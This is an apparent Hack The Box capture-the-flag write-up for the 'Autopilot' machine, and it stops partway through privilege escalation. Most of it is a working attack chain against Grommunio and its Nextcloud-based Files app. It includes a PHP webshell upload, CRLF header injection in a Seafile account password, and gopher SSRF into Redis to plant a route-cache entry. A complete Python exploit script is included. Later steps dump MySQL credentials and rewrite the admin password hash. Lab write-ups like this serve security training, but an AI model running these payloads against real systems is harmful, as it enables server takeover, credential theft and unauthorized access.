Hack The Box - HTB Autopilot Writeup - Insane - Weekly - october 17th, 2026
- Target:
<TARGET_IP>(mail.autopilot.htb, Grommunio Linux edge) · Attacker:<KALI_IP>(tun0) - Domain:
autopilot.htb· Internal: MAILMAIL, DC01DC01, WS02WS02 - OS: Linux (Grommunio) edge in front of a Windows Server 2025 AD · Difficulty: Insane
- Given foothold:
deborah.hernandez : <provided-password>
Flags
- user.txt (on the MAIL host,
/root/user.txt):[REDACTED-USER-FLAG] - root.txt (on DC01,
C:\Users\Administrator\Desktop\root.txt):[REDACTED-ROOT-FLAG]
0. Environment setup
0.1 VPN path-MTU black hole (fix first, or large requests hang)
This chain pushes big bodies (WebDAV PUTs, a multipart EML import, a 7 MB agent download). HTB's tun0 defaults to MTU 1500 but the real path MTU is ~1300; oversized packets are dropped with no ICMP, so TCP retransmits forever and the request "hangs."
sudo ip link set dev tun0 mtu 1300
- Lowers the interface MTU so TCP negotiates a smaller MSS and never emits an oversized segment. Re-apply after each VPN reconnect.
0.2 Name resolution
echo '<TARGET_IP> autopilot.htb mail.autopilot.htb' | sudo tee -a /etc/hosts
- The edge is name-based vhosting; every request must carry
Host: mail.autopilot.htb. Putting it in/etc/hostsletscurl/requestsresolve it to the target so the right vhost is served.
0.3 Recon — what's exposed
nmap -Pn -n -sV -p 22,25,80,110,143,443,465,587,993,995,8080 <TARGET_IP>
-Pnskip host-discovery (ICMP is unreliable over VPN),-nno DNS,-sVservice/version.- Result: only
443/tcpopen (nginx TLS); everything elsefiltered. A full-p-scan returns "all filtered" because HTB rate-limits SYN floods — 443 is the only real surface.
echo | openssl s_client -connect <TARGET_IP>:443 -servername mail.autopilot.htb 2>/dev/null \
| openssl x509 -noout -subject -issuer -ext subjectAltName
- Pulls the TLS certificate. SANs are
grommunio/autodiscover/mail.autopilot.htb; the issuer isautopilot-DC01-CA→ there's an AD domainautopilot.htbwith a DC named DC01 behind the mail edge.
curl -ksSI https://mail.autopilot.htb/ # 301 -> /web/
curl -ksS https://mail.autopilot.htb/web/ | grep -oiE 'version=[0-9.g]+'
-kignore cert (self-signed),-ssilent,-Sshow errors,-Iheaders only./redirects to/web/(Grommunio Web); the page reportsversion=5.2.13./files/sets Nextcloud cookies (oc_sessionPassphrase) → the Files app is Nextcloud-based (grommunio-files).
0.4 Validate the given credential on both surfaces
# Grommunio Web logon
curl -ksS -c cookies -d 'username=deborah.hernandez' --data-urlencode 'password=<provided-password>' \
'https://mail.autopilot.htb/web/?logon' -o /dev/null -w '%{http_code}\n' # 303 = success
# WebDAV (the Files backend)
curl -ksS -u 'deborah.hernandez:<provided-password>' -X PROPFIND -H 'Depth: 1' \
'https://mail.autopilot.htb/files/remote.php/dav/files/deborah.hernandez/' -w '%{http_code}\n' # 207
- A
303redirect after logon = valid Web session;207 Multi-Statusfrom WebDAV = valid Files access. Both are needed for the foothold.
1. Foothold — Seafile SSRF → Redis → PHP RCE (as grofiles)
The idea. grommunio-files (Nextcloud) stores its compiled URL routes in Redis. If I can insert a fake route that maps a URL like /ctf to "include this PHP file", then requesting that URL executes my code. Redis is loopback-only, so I need a server-side request to reach it — which the Seafile Files integration provides: it fetches a server-supplied "download URL" server-side, and if I make that URL a gopher://127.0.0.1:6379/... string, I can speak the Redis protocol into it (SSRF→Redis). I control the "Seafile server's" replies by pointing the backend at Grommunio's own download_attachment endpoint, serving JSON I imported via an EML and matched by Content-Location. The internal request is authenticated with a CRLF injection in the Seafile password field that smuggles Deborah's session cookie.
1.1 Upload the (inert) PHP payload over WebDAV
cat > rclprobe.txt <<'PHP'
<?php header('Content-Type: text/plain'); $c=$_GET['cmd']??'id'; @passthru($c.' 2>&1'); ?>
PHP
curl -ksS -u 'deborah.hernandez:<provided-password>' -T rclprobe.txt \
'https://mail.autopilot.htb/files/remote.php/dav/files/deborah.hernandez/rclprobe.txt' -w '%{http_code}\n'
-T file= HTTPPUT(WebDAV upload). Returns201 Created.- Fetching it back returns the raw PHP source (served as static text, HTTP 200) — proof it does not execute on its normal URL. It lands on disk at
/var/lib/grommunio-files/data/deborah.hernandez/files/rclprobe.txt; we'll make PHPincludethat path next.
1.2 The Redis route payload (gopher)
The route-cache key (prefix is baked into the box image and stable across resets):
0080d9f8020c1c045f3ae6468d0c933a/routemail.autopilot.htb#/files/index.php#rootCollection
We SETEX it (20-second TTL) to a serialized route collection whose /ctf entry carries file = <our uploaded txt>. The gopher URL encodes raw RESP bytes:
gopher://127.0.0.1:6379/_*4\r\n$5\r\nSETEX\r\n$88\r\n<key>\r\n$2\r\n20\r\n$<n>\r\n<route-json>\r\n ... QUIT
gopher://host:6379/_<data>— the_byte is dropped; everything after is sent raw to the Redis TCP port.*4= array of 4 bulk strings = theSETEX key 20 valuecommand; a trailingQUITcloses cleanly.
1.3 Serving the mock Seafile API via EML + CRLF cookie smuggling
The whole dance is performed by the exploit script shown in full at the end of this section; in order it:
POST /web/?logon→ logged-inrequests.Session.- Uploads 3 attachments and saves a draft → yields
store_entryid+parent_entryid(needed to addressdownload_attachment). - Imports an EML whose 4 attachments carry
Content-Locationheaders exactly matching the Seafile API paths the backend will request:mock/api2/ping/→"pong"mock/api2/repos/→ a one-repo listmock/api2/repos/<id>/file/?p=/route_exec→ the SETEX gopher URL.../?p=/route_del→ the DEL gopher URL
- Triggers
filesbrowsermodule/downloadtotmpon#R#<acct>/mock/route_exec→ the backend fetches our gopher URL → Redis SETEX fires. GET /files/index.php/ctf?cmd=<cmd>→ router matches/ctf→ PHPincludes our file → command runs asgrofiles.
Creates a Seafile Files account whose server_path is Grommunio's own download_attachment?...&attachCid=mock, so the backend's /api2/... requests resolve to our imported JSON. The password field is the exploit primitive:
password = "x\r\nCookie: <deborah session cookies>\r\nUser-Agent: <ua>"
The \r\n smuggle a Cookie header (authenticating the internal download_attachment request as Deborah) and a User-Agent header.
The gotcha that cost real time. The mock account must be created in one step with the Cookie and the matching User-Agent together. If you first create it with only the Cookie (no UA), Grommunio runs a server-side validation whose request arrives with a mismatched User-Agent and silently invalidates your web session — the very next webapp call returns a 401 HTML page, and nothing works. Creating it once with the full Cookie + User-Agent returns status: ok and keeps the session alive. (Observed directly: create resp ... "status":"err","status_description":"401 Unauthorized" on the preliminary account, then the follow-up PATCH came back as a 401 HTML page = session dead.)
The complete exploit script (run it as python3 -I foothold.py '<cmd>'):
#!/usr/bin/env python3
"""
HTB Autopilot - foothold: Seafile SSRF -> gopher -> Redis route-cache overwrite
-> PHP include of Deborah's uploaded rclprobe.txt -> RCE as grofiles.
Usage: python3 -I foothold.py '<cmd>'
(default cmd = id). Re-run to refresh the 20s route and run another cmd.
"""
import json, os, secrets, sys, time
from email.message import EmailMessage
from email.policy import SMTP
from urllib.parse import quote_from_bytes
import requests, urllib3
urllib3.disable_warnings()
TARGET = os.environ.get("TARGET_IP", "<TARGET_IP>")
HOST = "mail.autopilot.htb"
BASE = f"https://{HOST}/"
USER = "deborah.hernandez"
PASS = "<provided-password>"
CMD = sys.argv[1] if len(sys.argv) > 1 else "id"
# Nextcloud/grommunio-files distributed-cache prefix (baked into the box image).
PREFIX = os.environ.get("FILES_CACHE_PREFIX", "0080d9f8020c1c045f3ae6468d0c933a")
PAYLOAD_FILE = f"/var/lib/grommunio-files/data/{USER}/files/rclprobe.txt"
REPO_ID = "11111111-1111-1111-1111-111111111111"
# ---------------------------------------------------------------- Redis gopher
def resp(*values):
out = bytearray(f"*{len(values)}\r\n".encode())
for v in values:
item = str(v).encode()
out += f"${len(item)}\r\n".encode() + item + b"\r\n"
return bytes(out)
def gopher(*commands):
data = b"".join(resp(*c) for c in commands)
return "gopher://127.0.0.1:6379/_" + quote_from_bytes(data, safe="")
def build_urls():
key = f"{PREFIX}/routemail.autopilot.htb#/files/index.php#rootCollection"
route = [
False,
{"/ctf": [[{"_route": "ctf", "file": PAYLOAD_FILE}, None, {"GET": 0},
None, False, False, None]]},
[], {}, None,
]
route_json = json.dumps(route, separators=(",", ":"))
exec_url = gopher(("SETEX", key, 20, route_json), ("QUIT",))
del_url = gopher(("DEL", key), ("QUIT",))
return exec_url, del_url
# ---------------------------------------------------------------- HTTP session
s = requests.Session()
s.verify = False
s.headers["User-Agent"] = "Mozilla/5.0 autopilot"
def webapp(payload):
return s.post(BASE + "web/grommunio.php?subsystem=webapp_" + str(int(time.time()*1000)),
json={"grommunio": payload}, timeout=45)
def login():
r = s.post(BASE + "web/?logon", data={"username": USER, "password": PASS}, timeout=30)
r.raise_for_status()
print(f"[+] logged in as {USER} (HTTP {r.status_code})")
# ---------------------------------------------------------------- draft bootstrap
def bootstrap_draft():
"""Create a draft with 3 mock attachments so we obtain store_entryid/parent_entryid."""
dialog = "mockattach" + secrets.token_hex(11)
files = [
("attachments[]", ("ping.json", b'"pong"', "application/json")),
("attachments[]", ("repos.json",
json.dumps([{"type":"repo","name":"mock","id":REPO_ID,"mtime":0}]).encode(),
"application/json")),
("attachments[]", ("file.json",
json.dumps("http://127.0.0.1/statusmonitor").encode(), "application/json")),
]
up = s.post(BASE + "web/index.php?load=upload_attachment"
+ "&dialog_attachments=" + dialog
+ "&module=createmailitemmodule&moduleid=1",
data={"dialog_attachments": dialog, "ignore_extract_attachid": "true"},
files=files, timeout=40).json()
uploaded = up["grommunio"]["createmailitemmodule"]["1"]["update"]["item"]
locations = ["mock/api2/ping/", "mock/api2/repos/",
f"mock/api2/repos/{REPO_ID}/file/?p=/foo"]
attachments = [{"inline": True, "tmpname": it["props"]["tmpname"], "cid": loc}
for it, loc in zip(uploaded, locations)]
save_body = {"createmailitemmodule": {"1": {"save": {
"props": {"message_class": "IPM.Note", "subject": "Seafile mock " + dialog},
"attachments": {"dialog_attachments": dialog, "add": attachments}}}}}
saved = webapp(save_body).json()
item = saved["grommunio"]["createmailitemmodule"]["1"]["update"]["item"]
print(f"[+] draft created; store_entryid len={len(item['store_entryid'])}")
return item
# ---------------------------------------------------------------- EML import
def import_eml(store, draft_folder, exec_url, del_url):
msg = EmailMessage(policy=SMTP.clone(max_line_length=998))
msg["From"] = msg["To"] = f"{USER}@autopilot.htb"
msg["Subject"] = "Draft route script"
msg.set_content("Draft route script.")
responses = [
("mock/api2/ping/", json.dumps("pong")),
("mock/api2/repos/", json.dumps([{"type":"repo","name":"mock","id":REPO_ID,"mtime":0}])),
(f"mock/api2/repos/{REPO_ID}/file/?p=/route_exec", json.dumps(exec_url)),
(f"mock/api2/repos/{REPO_ID}/file/?p=/route_del", json.dumps(del_url)),
]
for loc, body in responses:
msg.add_attachment(body.encode(), maintype="application", subtype="json",
filename="data.json")
msg.get_payload()[-1]["Content-Location"] = loc
dialog = "mockattach" + secrets.token_hex(12)
params = {"load":"upload_attachment","module":"createmailitemmodule","moduleid":"1",
"dialog_attachments":dialog,"store":store,"destination_folder":draft_folder,
"import":"1","ignore_extract_attachid":"true"}
reply = s.post(BASE + "web/index.php", params=params, data=params,
files=[("attachments[]", ("probe.eml", msg.as_bytes(), "message/rfc822"))],
timeout=40).json()
entry_id = reply["grommunio"]["createmailitemmodule"]["1"]["import"]["items"]
print(f"[+] EML imported; entryid len={len(entry_id)}")
return entry_id
# ---------------------------------------------------------------- Seafile acct
def make_account(store, entry_id):
cookie = "; ".join(f"{k}={v}" for k, v in s.cookies.items())
ua = s.headers.get("User-Agent", "python-requests")
server_path = ("web/index.php?load=download_attachment&store=" + store
+ "&entryid=" + entry_id + "&attachCid=mock")
config = {"server_address": HOST, "server_port": "443", "server_ssl": "1",
"server_path": server_path, "user": "@auth:token:deborah",
"password": "x\r\nCookie: " + cookie + "\r\nUser-Agent: " + ua,
"use_grommunio_credentials": "0"}
# single-step create with full Cookie+UA config: a mismatched-UA server-side
# validation would invalidate our web session, so inject the matching UA now.
created = webapp({"filesaccountmodule": {"1": {"save": {"props": {
"name": "mock-seafile-relay", "backend": "Seafile",
"backend_config": config}}}}}).json()
if os.environ.get("DEBUG_ACC"):
print("[dbg] create resp:", json.dumps(created)[:700])
item = created["grommunio"]["filesaccountmodule"]["1"]["update"]["item"][0]
acct = item["entryid"]
print(f"[+] Seafile account created: {acct} status={item['props'].get('status')} "
f"({item['props'].get('status_description')})")
return acct
def trigger(acct, name):
return webapp({"filesbrowsermodule": {"1": {"downloadtotmp": {
"ids": ["#R#" + acct + "/mock/" + name],
"dialog_attachments": "test" + secrets.token_hex(14)}}}})
# ---------------------------------------------------------------- main
def main():
exec_url, del_url = build_urls()
login()
item = bootstrap_draft()
store, folder = item["store_entryid"], item["parent_entryid"]
entry_id = import_eml(store, folder, exec_url, del_url)
if os.environ.get("DEBUG_DUMP"):
# directly fetch the mock ping attachment with our own session cookie,
# to confirm download_attachment+attachCid serves the imported JSON.
for cid in ["mock/api2/ping/", "mock/api2/repos/",
f"mock/api2/repos/{REPO_ID}/file/?p=/route_exec"]:
u = (BASE + "web/index.php?load=download_attachment&store=" + store
+ "&entryid=" + entry_id + "&attachCid=" + requests.utils.quote(cid, safe=""))
rr = s.get(u, timeout=20)
print(f"[dbg] CID={cid!r} -> HTTP {rr.status_code} len={len(rr.content)} :: {rr.text[:120]!r}")
print("[dbg] cookies:", dict(s.cookies))
return
acct = make_account(store, entry_id)
print("[*] triggering route_exec (Redis SETEX via gopher SSRF)...")
r = trigger(acct, "route_exec")
print(" downloadtotmp status:", r.status_code)
print(" body:", r.text[:800])
time.sleep(1)
print(f"[*] executing cmd: {CMD}")
out = s.get(BASE + "files/index.php/ctf", params={"cmd": CMD}, timeout=30)
print("=" * 60)
print(out.text)
print("=" * 60, "HTTP", out.status_code)
if __name__ == "__main__":
main()
1.4 Fire it
export TARGET_IP='<TARGET_IP>'
python3 -I foothold.py 'id'
-Iruns Python in isolated mode (ignores$PYTHONPATH/cwd — good hygiene around untrusted dirs).- The
downloadtotmpresponse is{"error":... "0 UNKNOWN_PHRASE"}— expected: a Redis reply isn't a valid Seafile file, but the side effect (the SETEX) already happened. - Output:
Seafile account created: ... status=ok (Account is ready to use.)
============================================================
uid=462(grofiles) gid=462(grofiles) groups=462(grofiles)
============================================================
RCE as grofiles. Each run sets up a fresh 20-second route and runs one command; re-run for each command.
2. grofiles → root on MAIL (Postfix daemon_directory)
2.1 Read the Postfix→MySQL credentials
python3 -I foothold.py 'cat /etc/postfix/grommunio-virtual-mailbox-maps.cf; ip -br addr'
- Grommunio's Postfix looks up mailboxes in MySQL; the lookup config contains the DB creds in cleartext:
user = grommunio
password = <mysql-password>
hosts = localhost
dbname = grommunio
ip -br addralso shows the host's internal NIC:eth0 MAIL/24(first glimpse of the AD subnet).
2.2 Take over the Admin API by rewriting its password in the DB
The grommunio Admin API (loopback 127.0.0.1:8080) authenticates its admin user against row id=0 of grommunio.users. We own the DB, so we save the original hash, drop in a known one, log in, then restore it afterwards.
# save the real hash first (base64 the UPDATE to dodge $-expansion in the webshell)
python3 -I foothold.py "mysql -h127.0.0.1 -ugrommunio -p<mysql-password> grommunio \
-e 'SELECT id,username,password FROM users WHERE id=0'" # -> <original-admin-hash> (saved to loot/)
NEWHASH=$(openssl passwd -6 '<temp-admin-password>') # sha512-crypt of a temp password
B64=$(printf "UPDATE users SET password='%s' WHERE id=0;" "$NEWHASH" | base64 -w0)
python3 -I foothold.py "echo $B64 | base64 -d | mysql -h127.0.0.1 -ugrommunio -p<mysql-password> grommunio"
openssl passwd -6= sha512-crypt (the$6$scheme the Admin API expects).- base64-ing the SQL means the
$//in the hash never hit the remote shell.
python3 -I foothold.py "curl -s -H 'Host: mail.autopilot.htb' \
--data-urlencode 'user=admin' --data-urlencode 'pass=<temp-admin-password>' http://127.0.0.1:8080/api/v1/login"
- Returns
{"csrf":"...","grommunioAuthJwt":"..."}. Config changes need the JWT in a cookie and the CSRF inX-Csrf-Token. Save both.